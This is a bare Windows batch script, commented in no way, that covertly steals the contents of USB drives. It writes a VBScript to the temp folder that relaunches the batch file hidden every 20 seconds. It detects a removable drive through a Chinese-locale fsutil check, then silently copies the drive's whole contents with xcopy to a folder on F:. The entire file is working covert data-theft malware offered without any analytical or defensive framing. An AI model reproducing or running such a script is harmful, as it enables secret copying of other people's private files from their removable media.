@echo off
if not exist "%tmp%\utmp.vbs" (
>"%tmp%\utmp.vbs" echo WScript.sleep 20000
>>"%tmp%\utmp.vbs" echo WScript.CreateObject^("WScript.Shell"^).Run "%~s0",0
)
set "var1=fsutil fsinfo drives"
set "var2=fsutil fsinfo drivetype"
for /f "delims=驱动器:\ " %%a in ('%var1%^|more') do (
for /f "delims=:" %%j in ('%var2% %%a:^|find/i "可移动驱动器"') do set "u=%%j"
)
if not defined u (start "" "%tmp%\utmp.vbs") else (
xcopy /y/d/s "%u%:\" "F:\111\b\"
)
exit
